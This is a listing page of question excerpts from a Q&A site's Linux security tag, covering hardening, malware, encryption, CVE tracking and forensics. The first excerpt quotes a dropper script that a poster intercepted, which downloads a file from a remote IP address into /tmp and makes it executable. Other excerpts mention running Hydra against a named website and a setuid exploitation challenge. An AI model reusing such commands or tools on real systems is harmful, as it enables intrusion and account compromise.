Securing Linux systems and applications; understanding Linux security features.
5
votes
3answers
314 views
What does this sh script does if executed in a production environment
I could intercept what a possible attacker is trying to do on my website and he/she tried to execute this script:
#!/bin/sh
cd /tmp;cd /dev/shm
wget -q http://221.132.37.26/xx -O ...x
chmod +x ...x
...
0
votes
0answers
19 views
How to dump memory image from linux system?
I know to dump memory images in Window. (eg-dumpit)
But I don't know how to dump memory images in Linux.
I wanna get memory images in Linux and from linux to linux with ssh connection or something.
...
-2
votes
2answers
44 views
Hydra https-form-post
I have never experimented much with online password crackers. I attempted to use Hydra today on this website www.athena2.harker.org and I keep getting false positives.
This is what I have done so ...
0
votes
2answers
32 views
Given temp access to non-admin account on Linux machine, what can be done? [on hold]
As part of a security course I'm taking, we're supposed to demonstrate exploits and malicious things that can be done given short access to someone's account (say they leave the room without locking ...
3
votes
1answer
77 views
Does reinstalling ubuntu eliminates all existing rootkits/ malware/spyware/ virus etc?
If I do a fresh installation of ubuntu from an uninfected cd, will it remove all the existing rootkits/malwares/spywares/viruses etc if any ? Is formatting the hard disk required before reinstalling ...
38
votes
8answers
6k views
Why am I allowed to access protected Windows files when I boot Ubuntu from USB?
How come I'm allowed to reboot a computer that I don't own, put in a USB, boot ubuntu from it and then access all files stored on the drives available (even critical files such as system files on C ...
0
votes
1answer
24 views
Recreating ISO from a live usb
I have a ubuntu live usb. I want to check integrity of the live usb. This can be done by comparing checksum of iso file I created with that mentioned at this url. So, I created ISO image of usb using ...
1
vote
1answer
95 views
Storing database password in application
Let's say my application connects to my database. This requires me to have the username and database in my config as follows:
postgresql://scott:tiger@localhost/mydatabase
I have an automated ...
2
votes
2answers
114 views
Can a Ubuntu live usb be infected with spyware/ virus?
I have a Ubuntu 13.10 live usb. I gave it to somebody so that he can install ubuntu. Now I have received it back. I was wondering if it is possible to infect a live usb with spyware or virus ? If yes, ...
0
votes
0answers
48 views
Is my current configuration safe? [on hold]
OS is Lubuntu 14.04.
I update everything few times per day.
I run this command: apt-get flashplugin-installer -y to use flash and use VPNBook which gives me a MitMAttack warning.(I use openvpn ...
4
votes
0answers
432 views
What Ubuntu packages are still affected by gnutls bug CVE-2014-0092?
Right now the internet is abuzz with news about a severe breach in GnuTLS.
An update to the relevant GnuTLS packages has already been released. But I am worried whether some packages might have had ...
0
votes
2answers
67 views
Debian missing security features?
Debian (stable) is a well respected server Linux distro. I was surprised to see that in their hardening walkthrough (https://wiki.debian.org/HardeningWalkthrough) they do not support position ...
1
vote
1answer
92 views
Why does Debian security guide recommend md5 hashed passwords?
I am reading the Debian Security How-To and came across a section that I found odd: it recommends to use md5 hashes for /etc/shadow passwords ...
0
votes
0answers
32 views
Fuzzing shared libraries
Are there any tools capable of automatically fuzzing Linux shared libraries, by automatically I mean detect exported function, determine function signature and finally inject random data ?
Can ...
-1
votes
0answers
7 views
simple setuid binary exploitation [migrated]
I have a setuid program which is listing a file this way:
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
system("ls /challenge/binary/binary1/.passwd");
return ...
0
votes
0answers
19 views
Is CVE-2011-1571 fixed in tomcat?
I dont see any record of CVE-2011-1571 being fixed in tomcat based on ASF' security reports for tomcat itself. Usually they specify the CVE number and information about the fix. This was 3 years ago ...
0
votes
1answer
38 views
Secure installation of KVM VPS?
This question has also been asked on Server Fault, but was not taken seriously. I hope this is a better place for it
I'm going to install Debian Wheezy on a KVM VPS. VNC access to console is enabled, ...
0
votes
0answers
19 views
Tracking checkins from generic users
Im trying to implement a better system to monitor checkins to our repository. We have some generic users everyone can use, I have recently disallowed them from checking in as those users however there ...
1
vote
2answers
86 views
How big is the threat of Desktop Linux malware? [closed]
Most malware one hears about on the news seems to fit into one of two categories:
Windows viruses, trojans, rootkits etc.
Linux server "worms", backdoors and similar
How big is the threat of ...
0
votes
2answers
57 views
Directory traversal & default filesystem permissions (755) for web server
I'm trying to get a better understanding of the potential security holes my default filesystem permissions might be creating. It appears I am capable of traversing my filesystem, serving simple php ...
2
votes
1answer
20 views
bin_random_table and RANDOM_BOOT_ID
The Linux kernel has a few sysctrl's related to random devices packaged in a bin_random_table (http://lxr.free-electrons.com/source/kernel/sysctl_binary.c?v=3.2):
static const struct bin_table ...
0
votes
0answers
69 views
Linux Physical memory analysis using hexeditor for Forensics
I am about to forensics investigation of a linux physical memory. I have dumped an ARM Linux which the profile is not listed in Volatility, so I could find the process and the latest command using ...
0
votes
2answers
48 views
Proxy traffic via MITM script
I want to log and modify outbound traffic on a Linux machine. I currently have one program that sends requests out to the internet, I would like to process these requests and their responses via ...
1
vote
2answers
166 views
How secure is EncFS compared to TrueCrypt?
If I choose the paranoia option for EncFS and for TrueCrypt I create containers using the encryption algorithm AES-Twofish-Serpent and the Hash Algorithm Whirlpool. Are both methods equally secure, ...
0
votes
1answer
39 views
Removing Unnecessary Services & Packages in a MySQL Ubuntu 12.04 Server [closed]
As part of hardening a MySQL 5.6 server running on Ubuntu 12.04 LTS, unnecessary services and packages will have to be removed.
For a server that is serving only as a MySQL server, what services and ...
1
vote
1answer
41 views
ensuring that compiled (and signed) packages don't contain malicious code
I would like to understand how the packaged Linux distributions (i.e. Debian) ensure that their packages don't contain any malicious code. I know that packages are signed, and that I can download the ...
1
vote
1answer
59 views
Malware threats from other mounted hard drives
I am going to install Linux on an external hard drive and my internal hard drive is currently running Windows. When I boot to my Linux and I still have my windows hard drive mounted is it possible for ...
1
vote
1answer
57 views
Current industry standard key management solution for web app on linux host
The scenario: Data is sent to an application server and you want to selectively encrypt some data before sending it to a DB server for storage. All servers run some linux distro. This is a relatively ...
-6
votes
1answer
71 views
How can mp3blaster vulnerability affect my linux OS? [closed]
Mp3blaster is a terminal mp3 player running a UNIX-like operating system, e.g. Linux, Free/Net/OpenBSD, etc. I usually use this player for playing my music, but yesterday I found a blog which claim ...
1
vote
1answer
17 views
Is there an other place than the changelogs to see if a debian package is corrected or not?
I would like to know if there was an other place to see if a debian package is fixing a CVE than the changelog of the packet. For instance the packet bind9 1:9.7.2.dfsg.P3-1 is fixing the ...
0
votes
0answers
13 views
How can we know which debian package correct which CVE
We can found on the debian's website CPE/Aliases List, CVE List related to packages. But I can't figure out where can we know which patch of packages correct which vulnerabilities ? For instance :
...
1
vote
0answers
58 views
How do I determine whether a Linux-based router still has the default password? [duplicate]
My goal is to check if the password used by admin is the default password.
I work on a Linux-based router. I know the password is stored as a hashed value in /etc/passwd.
In generic Linux machines, ...
1
vote
1answer
81 views
How should IPSec be configured to provide a protection at least as good as my current Stunnel configuration?
In private network (as in using a private IP address space) at a cloud provider, other customers have access to the same private network. I have secured the communication between many hosts and ...
1
vote
4answers
83 views
Why can't just any program use his own file-system-access-system?
This may sound stupid for everyone who knows more than me about the UNIX-System and security in software:
Imagine you have a program trying to cause harm by deleting files. You just do something like ...
0
votes
2answers
81 views
Malware getting root access via “sudo” and “sudo -s”
Actually, I'd like to ask 3 questions. But since they are very related, I'll ask them all here. I use Ubuntu 12.04.4.
Situation 1: I use Terminator, in one of its terminals I launch sudo iotop ...
0
votes
1answer
84 views
Do the Linux binary blobs contain any intentional security holes?
This question covers the risks of accepting Binary blobs in one's distribution.
This may be a very paranoid conspiracy question. But considering all the topics regarding the NSA in 2013 one cannot ...
2
votes
2answers
80 views
CentOS for security testing?
I am a QA Engineer, but have been tasked with creating a security testing platform. I have many years with Backtrack/Kali and my primary OS are Arch and Ubuntu. The Systems guys here gave me a CentOS ...
-1
votes
1answer
86 views
how to protect my linux pc from wifi sniffing
I have a wifi shared connection with other flatmates and I'd like to know how can I protect my Debian pc from being sniffed. Should I use a wifi anti sniffer to detect if any wifi card is in ...
0
votes
1answer
41 views
How can I view the contents of a web page without running malicious code? [closed]
I received a strange email which has some strange URL in it. I would like to know what is "behind" the url, but without the risk of running anything malicious.
How can see the contents of the URL, ...
2
votes
3answers
109 views
Protecting against Firewire DMA vulnerabilities in Linux
I know there have been questions on this in the past but they all seem quite outdated, or not that specifically relevant.
I need to use a 1394(Firewire) connection, however am concerned with possible ...
2
votes
1answer
65 views
Erasing encryption (LUKS) keys before suspend-to-RAM?
I recently had been wondering if there is a way to erase my LUKS keys from RAM before I suspend my device (usually a laptop) to S3 mode. I am interested in a solution that would work for my / ...
1
vote
1answer
125 views
How do I find out if I'm connecting to a spoofed server after getting “The authenticity of host [hostname] can't be estabilished”?
I've been SSHing into my VPS for months with no problems and this morning it returned this familiar message:
The authenticity of host '[hostname]' can't be established.
ECDSA key fingerprint is ...
2
votes
0answers
244 views
What is a self-contained cross-platform encryption for USB drive? [closed]
I'm trying to find self-contained encryption solution for USB drives while at the same time being platform independent. For example, Windows' BitLocker only works on Windows and not on OS X or Linux.
...
1
vote
1answer
49 views
What are good ways to check for tampering/bad behaviour on a linux server that has already been set up but it's your first time logging into it
For this I am assuming we have a server that is of a client or a friend, so we the helper are not innately familiar with exactly how things should be be.
What are good commands and ways to check to ...
1
vote
1answer
90 views
how to continuously caputre all my network traffic? [closed]
I've got a Linux desktop that will be a gateway between my private network and the open internet. I'd like it to capture and store all network traffic passing through it continuously, 24/7 (until the ...
0
votes
2answers
114 views
Does iptables work in kernel mode? [closed]
I am not sure about that. It should run in kernel mode in order to avoid some user-mode program to kill/suspend the firewall and do its dirty job.
The malware would not be able to kill the firewall ...
19
votes
2answers
800 views
Do Simple Linux Servers Really Need a Non-Root User For Security Reasons?
Playing devil's advocate,
Let's assume I purchase a Linux server from a hosting provider. I am given a password for the root user and am told I may login using SSH. The only purpose this server has ...
2
votes
1answer
141 views
How to measure the integrity of the OS (Linux)?
I am working on a project which requires Integrity measurement of OS (Linux). One way to do that is using IMA but I am not sure if it fits in the scenario below.
The scenario of the project is some ...
1
vote
2answers
75 views
PHP Handlers and Caching
I recently began configuring our production server for a new Drupal site. Up till now, I've always used the default PHP handler mod_php, and removed write privileges for any directory/file except ...
1
vote
3answers
138 views
Cracking passwords after a patteren with ex. John
So i am trying to find out how easy it is to crack a password using some great Linux tools.
We all know about John as a password cracker and how great it is. But how about specifying a patteren.
...
